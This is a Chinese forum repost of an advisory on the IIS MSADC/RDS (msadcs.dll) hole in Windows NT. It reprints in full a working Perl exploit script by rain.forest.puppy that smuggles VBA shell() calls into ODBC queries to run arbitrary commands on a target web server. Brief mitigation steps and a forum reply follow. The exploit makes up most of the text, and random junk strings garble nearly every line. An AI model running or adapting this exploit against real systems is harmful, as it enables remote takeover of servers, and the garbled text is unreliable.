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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Yckl,g_  
|A5]hL   
涉及程序: gqG l>=.m  
Microsoft NT server 9)mJo(  
AL,|%yup  
描述: 5TzMv3;in2  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 kO/dZ%vj  
Av+R~&h  
详细: ~~wz05oRG  
如果你没有时间读详细内容的话,就删除: Z(.p=Wg  
c:\Program Files\Common Files\System\Msadc\msadcs.dll mxDy!:@=  
有关的安全问题就没有了。 *3. ]  
mlIc`GSI  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0 ,Bd,<3  
&({X9  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ihs@ 'jh  
关于利用ODBC远程漏洞的描述,请参看: b:W]L3Z8  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm o5AyJuS-u$  
W}JJaZR*X  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 njvmf*A?S  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 'B6D&xn'%&  
s )_sLt8?  
这里不再论述。 u3c e\  
[.|tD  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: W99Fb+$I  
E~{-RZNK  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [Zgy,j\ \  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! j3A+:KDn3n  
/I".n]  
k6G23p[9  
#将下面这段保存为txt文件,然后: "perl -x 文件名" KHdj#3<AR  
8Ck:c45v  
#!perl -OVJ]  
# }7Pd\tG]  
# MSADC/RDS 'usage' (aka exploit) script ( 3=.3[  
# JWH}0+1*  
# by rain.forest.puppy WYI? M  
# X @r5^A[9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me QWfwoe&;R:  
# beta test and find errors! rpy`Wz/[  
.6  
use Socket; use Getopt::Std; ,!bOzth2>K  
getopts("e:vd:h:XR", \%args); iTxn  
xR;Xx;  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; :'.-*Ew  
G}] ZZ  
if (!defined $args{h} && !defined $args{R}) { g/JAr<  
print qq~ -+?0|>Nh  
Usage: msadc.pl -h <host> { -d <delay> -X -v } qH"0?<$9  
-h <host> = host you want to scan (ip or domain) Gz ^g!N[  
-d <seconds> = delay between calls, default 1 second 24|:VxO  
-X = dump Index Server path table, if available ib uA~\5  
-v = verbose :i?Z1x1`  
-e = external dictionary file for step 5 U3A>#EV  
+.[#C5  
Or a -R will resume a command session gy~M]u{  
5M*q{kX)  
~; exit;} ZhM-F0;`  
o<T>G{XYB  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 9l OUE  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 'Y>!xm   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} u4fTC})4{C  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); j+Wgjf  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} (?q]E$ @  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .{)b^gE  
Z&J417buk  
if (!defined $args{R}){ $ret = &has_msadc; ~5]AXi'e~  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ZL~}B.nqS  
`M"b L|[R  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "eGS~-DVK  
. "cmd /c "; xI_WkoI  
$in=<STDIN>; chomp $in; WV?iYX!  
$command="cmd /c " . $in ; c( gUH  
;41s&~eR  
if (defined $args{R}) {&load; exit;} mQ' ]0DS  
 Zp]Bs  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; t_P1a0Zu  
&try_btcustmr; 28Q`O$=v  
!A!zG)Ue<  
print "\nStep 2: Trying to make our own DSN..."; uA\A4  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; O(WFjmHx  
_BcB@a  
print "\nStep 3: Trying known DSNs..."; Re,0RM\  
&known_dsn; ^!Bpev  
nE::9Yh8z  
print "\nStep 4: Trying known .mdbs..."; (}] 74Lc  
&known_mdb; "ZT=[&2  
1NJ*EzJ~?  
if (defined $args{e}){ Ya\G/R  
print "\nStep 5: Trying dictionary of DSN names...";  0fNWI  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } KGK8;Q,O  
8v(Xr}q,r  
print "Sorry Charley...maybe next time?\n"; (;Lz `r'  
exit; ux{OgF fi  
:UFf6T?  
############################################################################## w_A-:S 5C  
AGrGZ7p]  
sub sendraw { # ripped and modded from whisker T /[)U  
sleep($delay); # it's a DoS on the server! At least on mine... w )DO"Z7  
my ($pstr)=@_; V<ODt%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o{>hOs &  
die("Socket problems\n"); VO++(G)  
if(connect(S,pack "SnA4x8",2,80,$target)){ vP&*(WfO)  
select(S); $|=1; t"RgEH@  
print $pstr; my @in=<S>; Bg7?1m  
select(STDOUT); close(S); <J`_Qc8C  
return @in; {"4t`dM  
} else { die("Can't connect...\n"); }} 9chiu%20  
AS4m227  
############################################################################## a$;+-Y  
$Q]`+:g*}  
sub make_header { # make the HTTP request Fi*6ud\n!  
my $msadc=<<EOT '90B),c{  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 :!{aey  
User-Agent: ACTIVEDATA uiHlaMf  
Host: $ip Y^3tk}yru  
Content-Length: $clen X3 a:*1N  
Connection: Keep-Alive 1Rl`}7Km  
rKi)VVkx_  
ADCClientVersion:01.06 !?Ow"i-lp  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 7"8HlOHA  
jzzVZ%t  
--!ADM!ROX!YOUR!WORLD! }yB@?  
Content-Type: application/x-varg !j7b7<wR  
Content-Length: $reqlen zhYE#hv2  
f_;3|i  
EOT %!YsSk,   
; $msadc=~s/\n/\r\n/g; SOP= X-6f  
return $msadc;} }3)$aI_  
F!aYK2  
############################################################################## ~{+J~5!;<H  
TD\QX2m  
sub make_req { # make the RDS request Lg9ktRKK  
my ($switch, $p1, $p2)=@_; hkW"D<i i-  
my $req=""; my $t1, $t2, $query, $dsn; T 0^U ]C  
U0)(k}Q)  
if ($switch==1){ # this is the btcustmr.mdb query ,QG,tf?  
$query="Select * from Customers where City=" . make_shell(); Z/Mp=273  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Za=<euc7  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} y fP&Q<|  
QKHmOVh]  
elsif ($switch==2){ # this is general make table query U76:F?MH  
$query="create table AZZ (B int, C varchar(10))"; o"'VI4  
$dsn="$p1";} )%#hpP M^  
O7rm(  
elsif ($switch==3){ # this is general exploit table query "q]v2t  
$query="select * from AZZ where C=" . make_shell(); Blaj07K  
$dsn="$p1";} TR ]lP<m  
8U\ +b?}  
elsif ($switch==4){ # attempt to hork file info from index server })&0e:6  
$query="select path from scope()"; ixfkMM ,W  
$dsn="Provider=MSIDXS;";} 5|H?L@_9  
vz@QGgQ9~2  
elsif ($switch==5){ # bad query ;5 IS58L  
$query="select"; X>*zA?:  
$dsn="$p1";} #2u-L~n  
Zvr(c|Q  
$t1= make_unicode($query); `=CF | I  
$t2= make_unicode($dsn); A.z~wu%(  
$req = "\x02\x00\x03\x00"; [~jh Ov^  
$req.= "\x08\x00" . pack ("S1", length($t1)); tK8\Ib J  
$req.= "\x00\x00" . $t1 ; ?%;uR#4  
$req.= "\x08\x00" . pack ("S1", length($t2)); Xwx;m/  
$req.= "\x00\x00" . $t2 ; kTFN.kQx@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 1 u&P,&T  
return $req;} C,fIwqOr3  
'n>|jw)  
############################################################################## %f:'A%'Qb  
g:f0K2)\r:  
sub make_shell { # this makes the shell() statement @&h<jM{D  
return "'|shell(\"$command\")|'";} 0*tEuJ7  
fnB-?8K<  
############################################################################## Uhg[#TUK  
%e1<N8E4  
sub make_unicode { # quick little function to convert to unicode 4H\O&pSS  
my ($in)=@_; my $out; S!.xmc\  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } m=y6E, _  
return $out;} ;>Z#1~8  
>n` OLHg;  
############################################################################## ,QKG$F  
[3/P EDkw  
sub rdo_success { # checks for RDO return success (this is kludge) YK}(VF?&  
my (@in) = @_; my $base=content_start(@in); X)nOY*  
if($in[$base]=~/multipart\/mixed/){ nq6]?ZJ  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} lXB_HDY  
return 0;} <v5toyA  
EH,uX{`e  
############################################################################## :ye)%UU"|:  
(& ~`!]  
sub make_dsn { # this makes a DSN for us C*c=@VAa  
my @drives=("c","d","e","f"); 8<_WtDg  
print "\nMaking DSN: "; `5q`ibyPI  
foreach $drive (@drives) { {]Lc]4J  
print "$drive: "; lg!1q8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . .|iUDp6vz  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" T-<^mX[}  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); *>\RGL;]8  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Z;%qpsq  
return 0 if $2 eq "404"; # not found/doesn't exist v $ pA Rt  
if($2 eq "200") { -lAA,}&+!  
foreach $line (@results) { oh:t ex<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 5d L-v&W  
} return 0;} ^[ id8  
O+'Pq,hn  
############################################################################## +x+H(of.  
E6@+w.VVO  
sub verify_exists { FPcgQ v;p  
my ($page)=@_; F htf4  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Mq*Sp UR  
return $results[0];} }[75`pC~O  
c)Y I3G$  
############################################################################## <BO|.(ys  
;dB=/U>3U  
sub try_btcustmr { ~xHr/:  
my @drives=("c","d","e","f"); w$& 10  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Kvk;D ]$  
(Ojg~P4;&  
foreach $dir (@dirs) { 8fDnDA.e  
print "$dir -> "; # fun status so you can see progress Dnd  
foreach $drive (@drives) { w5&UG/z%l  
print "$drive: "; # ditto q.g!WLiI  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; M8g=t[\  
$reqlenlen=length( "$reqlen" ); *XNvb ^<  
$clen= 206 + $reqlenlen + $reqlen; G LE`ba  
bAW;2 NB  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ^U`[P@T  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 0<^K0>lm p  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Kh5:+n_X  
Ay2|@1e  
############################################################################## *1elUI2Rg  
Duz}e80  
sub odbc_error { >iG`  
my (@in)=@_; my $base; xy|;WB  
my $base = content_start(@in); >\@6i s  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this gbI0?G6XN/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C6/,-?%)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Fa>Y]Y0r  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @c{Z?>dUc#  
return $in[$base+4].$in[$base+5].$in[$base+6];} ^ 0TJys%  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]cA){^.Jz  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 6aj)Fe'2  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} NIYAcLa@n8  
^K;,,s;0  
############################################################################## 9MGA#a  
73]%^kx=  
sub verbose { %n-LDn  
my ($in)=@_; yyiZV\ /  
return if !$verbose; zlXkD~GV  
print STDOUT "\n$in\n";} 3z5,4ps  
/,B"H@ J  
############################################################################## X @\! \  
np)-Yzr  
sub save {  _@d.wfM  
my ($p1, $p2, $p3, $p4)=@_; !E$S&zVMQ  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *1>XlVx,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; a?D\H5TF-  
close OUT;} %r|fuwwJO  
`N|WCiBV.  
############################################################################## ); $~/H4  
S"}FsS;k<?  
sub load { vK$T$SL  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;f6G&>p  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 38  B\ \  
@p=<IN>; close(IN); Y$'fds4P  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); sG^b_3o)A  
$target= inet_aton($ip) || die("inet_aton problems"); :v&GA s6H  
print "Resuming to $ip ...";  Q.cxen  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; blS*HKw  
if($p[1]==1) { `;i| %$TU  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; hz )L+  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 1{u;-pg  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); qOk4qbl[  
if (rdo_success(@results)){print "Success!\n";} wN*e6dOF  
else { print "failed\n"; verbose(odbc_error(@results));}} N5~g:([k  
elsif ($p[1]==3){ g\X"E>X  
if(run_query("$p[3]")){ x.45!8Zb  
print "Success!\n";} else { print "failed\n"; }} ~){*XJw6  
elsif ($p[1]==4){ O >'o;0  
if(run_query($drvst . "$p[3]")){ /n:s9eq  
print "Success!\n"; } else { print "failed\n"; }} > m5j.GP;  
exit;} KsHovv-A  
q A G0t{K  
############################################################################## C \}m_`MR  
ty7a&>G  
sub create_table { K=!J=R;  
my ($in)=@_; w8@ Ok_fj  
$reqlen=length( make_req(2,$in,"") ) - 28; wV U(Du  
$reqlenlen=length( "$reqlen" ); *h]qh20t  
$clen= 206 + $reqlenlen + $reqlen; /e\} qq  
my @results=sendraw(make_header() . make_req(2,$in,"")); 3`="4  
return 1 if rdo_success(@results); g]d@X_ &D  
my $temp= odbc_error(@results); verbose($temp); I.\u2B/?  
return 1 if $temp=~/Table 'AZZ' already exists/; =0m[  
return 0;} o_={xrmIA  
i?mDR$X:  
############################################################################## 6!+"7r6  
nY(jN D  
sub known_dsn { '6K WobXm  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go }*? e w  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", $`]<4I9d  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =Ybbh`$<  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); @$t Qz  
) Oa"B;\j  
foreach $dSn (@dsns) { qQVqS7 t  
print "."; CZ1 tqAk-  
next if (!is_access("DSN=$dSn")); Url8Z\;aM  
if(create_table("DSN=$dSn")){ Te5_T&1Z  
print "$dSn successful\n"; GO`X KE  
if(run_query("DSN=$dSn")){ 7p2x}[ .\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9]hc{\  
print "Something's borked. Use verbose next time\n";}}} print "\n";} #H5*]"w6I  
c) 1m4SB@  
############################################################################## ! 4i  
yqCy`TK8  
sub is_access { y.mojx%?a  
my ($in)=@_; W+1V&a}E  
$reqlen=length( make_req(5,$in,"") ) - 28; S0"O U0`N  
$reqlenlen=length( "$reqlen" ); $\0j:<o  
$clen= 206 + $reqlenlen + $reqlen; :X@;XEol~  
my @results=sendraw(make_header() . make_req(5,$in,"")); "I_3!Yu  
my $temp= odbc_error(@results);  %_A1WC  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); nA+[[(6  
return 0;} %s<7|,  
E%+V\ W%  
############################################################################## V1j&>-]]9*  
ym1TGeFAq  
sub run_query { xazh8X0P  
my ($in)=@_; zwAuF%U  
$reqlen=length( make_req(3,$in,"") ) - 28; \@I.K+hj$  
$reqlenlen=length( "$reqlen" ); 7b Gzun&  
$clen= 206 + $reqlenlen + $reqlen; Nz$O D_]  
my @results=sendraw(make_header() . make_req(3,$in,"")); U6_1L,W  
return 1 if rdo_success(@results); r+ vtKb  
my $temp= odbc_error(@results); verbose($temp); ir/2/ E  
return 0;} ~\XB'  
- FE)  
############################################################################## x6F\|nb  
ZwG+rTW  
sub known_mdb { |a'Q^aT  
my @drives=("c","d","e","f","g"); J'2R-CI,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); i?|K+"=D  
my $dir, $drive, $mdb; :B"'49Q`  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Cr(pN[,  
i 0L7`TB  
# this is sparse, because I don't know of many hW/*]7AM^  
my @sysmdbs=( "\\catroot\\icatalog.mdb", MRmz/ZmRM  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4 (Y5n?/  
"\\system32\\certmdb.mdb", }H^#}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% TcRnjsY$  
HqN|CwGgJ:  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", TTqOAo[-Z  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vtr:{   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", /:%^Vh3XF  
"\\cfusion\\cfapps\\security\\realm_.mdb", nPv2: x  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", /G84T,H  
"\\cfusion\\database\\cfexamples.mdb", o AQ92~b  
"\\cfusion\\database\\cfsnippets.mdb", XY%8yII6  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 7<NX;Fx  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", HWe.|fH:  
"\\cfusion\\brighttiger\\database\\cleam.mdb", rJNf&x%6  
"\\cfusion\\database\\smpolicy.mdb", R~c(^.|r  
"\\cfusion\\database\cypress.mdb", !!` zz  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", pX*mX]  
"\\website\\cgi-win\\dbsample.mdb", sIELkF?.  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |,yS>kjp  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" -Fl3m  
); #these are just d$Mj5wN:q  
foreach $drive (@drives) { =z@'vu$Fh  
foreach $dir (@dirs){ *nC<1.JW  
foreach $mdb (@sysmdbs) { mexI }  
print "."; ] c'owj  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ TyK; q{  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; *X<De  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,e>ugI_;*  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; !`aodz*PO  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [s7I.rdGzz  
Rl S=^}>  
foreach $drive (@drives) { 7&sCEYEb  
foreach $mdb (@mdbs) { bH,Jddc  
print "."; V<d'psb 6  
if(create_table($drv . $drive . $dir . $mdb)){ ob*2V! "  
print "\n" . $drive . $dir . $mdb . " successful\n"; |E?%Cj^W  
if(run_query($drv . $drive . $dir . $mdb)){ 525xm"Bs  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; -<<!eH  
} else { print "Something's borked. Use verbose next time\n"; }}}} Z:n33xh=<  
} j5ui  
xt`znNN  
############################################################################## Pb~S{):  
)s^XVs.-  
sub hork_idx { '.^JN@  
print "\nAttempting to dump Index Server tables...\n"; ' u0{h  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; RF6|zCWuI  
$reqlen=length( make_req(4,"","") ) - 28; ;M JM~\L0  
$reqlenlen=length( "$reqlen" ); K:9.fTCs*  
$clen= 206 + $reqlenlen + $reqlen; X5<L  
my @results=sendraw2(make_header() . make_req(4,"","")); N;D+]_;0|  
if (rdo_success(@results)){ (m,O!935f  
my $max=@results; my $c; my %d; vJcvyz#%1  
for($c=19; $c<$max; $c++){ 1w5p*U0 ;  
$results[$c]=~s/\x00//g; ?9PNCd3$d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; q$HBPR4h  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; l_kH^ET  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; +oiPj3  
$d{"$1$2"}="";} +B&FZ4'  
foreach $c (keys %d){ print "$c\n"; } Rdv"Aj:  
} else {print "Index server doesn't seem to be installed.\n"; }} m1`ln5(R  
Nd6N:1 -  
############################################################################## e%f8|3<6  
o-(jSaH :;  
sub dsn_dict { 8)H"w$jq  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 2 na8G  
while(<IN>){ 2<J82(4j  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; A&t}s #3  
next if (!is_access("DSN=$dSn")); ,$G89jSM  
if(create_table("DSN=$dSn")){ ^7_<rs   
print "$dSn successful\n"; 3yZ@i<rfH  
if(run_query("DSN=$dSn")){ dvxH:,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =lffr?#&B  
print "Something's borked. Use verbose next time\n";}}} E*'O))  
print "\n"; close(IN);} R.RCa$  
\K)q$E<!  
############################################################################## !AMPA*  
+q2l,{|?  
sub sendraw2 { # ripped and modded from whisker oZzE.Q1T  
sleep($delay); # it's a DoS on the server! At least on mine... k,&W5zBKe  
my ($pstr)=@_; &2Y>yFB ,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~E`l4'g?  
die("Socket problems\n"); GEvif4  
if(connect(S,pack "SnA4x8",2,80,$target)){ BE m%x 0y  
print "Connected. Getting data"; ]IoS-)$Z/  
open(OUT,">raw.out"); my @in; z3$PrK%  
select(S); $|=1; print $pstr; XFX:) l#o  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 6Es-{u(,  
close(OUT); select(STDOUT); close(S); return @in; }LE/{]A  
} else { die("Can't connect...\n"); }} eH6#'M4+\  
c8u&ev.U  
############################################################################## T[7- 3[w<)  
w.V8-9{  
sub content_start { # this will take in the server headers D)mqe-%1  
my (@in)=@_; my $c; 4f/8APA  
for ($c=1;$c<500;$c++) { Q"(i  
if($in[$c] =~/^\x0d\x0a/){ }2{%V^D)r  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 5 &VLq  
else { return $c+1; }}} .+8w\>w6g  
return -1;} # it should never get here actually gFW1Nm_DJ  
 %RJW@~!  
############################################################################## ;1o"Oij  
cy? EX~s4  
sub funky { T{ojla(  
my (@in)=@_; my $error=odbc_error(@in); +tOV+6Uz  
if($error=~/ADO could not find the specified provider/){ ;,F}!R  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0{jRXa-(  
exit;} #kxg|G[Ol  
if($error=~/A Handler is required/){ UyvFR@  
print "\nServer has custom handler filters (they most likely are patched)\n"; w1.KRe{M  
exit;} W;o\}irep  
if($error=~/specified Handler has denied Access/){ ~xA' -N/  
print "\nServer has custom handler filters (they most likely are patched)\n"; \BS^="AcpP  
exit;}} T}g;kppC  
p;C`n)7P7  
############################################################################## pfZxG.l  
|KkVt]ZQe9  
sub has_msadc { q3 9 RD  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ]xFd_OHdb  
my $base=content_start(@results); ]ErAa"?  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \.}* s]6  
return 0;} F*(<`V  
yA6"8fr  
######################## "&>$/b$  
;Qw>&24h[  
{@({po  
解决方案: IV!&jL  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 2pZ|+!xc+  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 bT0CQ_g21  
\_0nH`  
拿出来充数 哈哈
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